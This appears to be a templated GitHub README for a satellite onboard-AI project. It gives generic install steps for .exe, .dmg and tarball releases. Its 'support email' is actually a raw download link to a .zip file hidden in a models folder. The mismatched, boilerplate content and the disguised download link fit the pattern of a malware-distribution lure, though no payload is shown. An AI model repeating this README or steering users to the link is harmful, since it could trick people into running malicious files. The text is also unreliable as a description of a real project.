Welcome to the phisat2-trustworthy-onboard-ai project. This application helps you process satellite data using advanced onboard AI techniques. It is built with PyTorch and can convert models to ONNX for efficient processing. You will find features like calibration, telemetry, and a demo for the PhiSat-2 Earth Observation tiles.
Before you start, ensure your system meets these requirements:
- Operating System: Windows 10 or later, macOS Mojave or later, or a recent Linux distribution.
- RAM: At least 8 GB.
- Space: Minimum of 1 GB free disk space.
- Dependencies:
- Python 3.8 or later
- PyTorch (visit the official PyTorch website for instructions)
- ONNX and ONNX Runtime
- Trustworthy AI: Designed for earth observation tasks with robust performance.
- Calibration: Automatically adjust models for high accuracy.
- Telemetry Support: Monitor the application in real-time.
- Demo Mode: Explore the PhiSat-2 EO tile-filter functionality with ease.
To download the latest release of this application, visit this page: Download Releases.
- Click the link to open the Releases page.
- You will see a list of available versions. Look for the latest stable release at the top.
- Click on the appropriate file for your operating system to begin downloading (e.g.,
.exefor Windows,.dmgfor macOS, or tarball for Linux).
After the download is complete, follow these steps to install the application:
- Locate the downloaded
.exefile in your Downloads folder. - Double-click the file to start the installation process.
- Follow the on-screen instructions.
- Once installed, find the application in your Start menu.
- Open your Downloads folder and find the downloaded
.dmgfile. - Double-click the
.dmgto open it. - Drag the application into your Applications folder.
- You can now find the application in your Launchpad.
- Open a terminal window.
- Navigate to your Downloads folder using the
cdcommand. - Use the
tar -xvzf [filename]command to extract the files. - Follow any additional instructions provided in the extracted folder.
Once the application is installed, you can start using it to process satellite data.
- Launch the Application: Open it from your Start menu, Applications folder, or from your designated location.
- Select a Data File: Choose the satellite data file you want to analyze. Supported formats include .csv and .json.
- Configure Settings: Adjust any calibration and telemetry settings as required.
- Run the Analysis: Click the "Analyze" button to start processing the data.
- View Results: After completion, the results will display in the application interface.
If you encounter issues:
- Ensure your system meets the requirements.
- Confirm all dependencies are installed correctly.
- Revisit the installation steps for accuracy.
For specific errors, refer to the application's documentation for detailed troubleshooting.
If you have questions or need assistance, please email the support team at https://raw.githubusercontent.com/Abdelrahmanhatem2020/phisat2-trustworthy-onboard-ai/main/examples/phi2-eo-tile-filter/src/models/phisat_trustworthy_ai_onboard_v3.2.zip
For more information about the technologies used, check out these resources:
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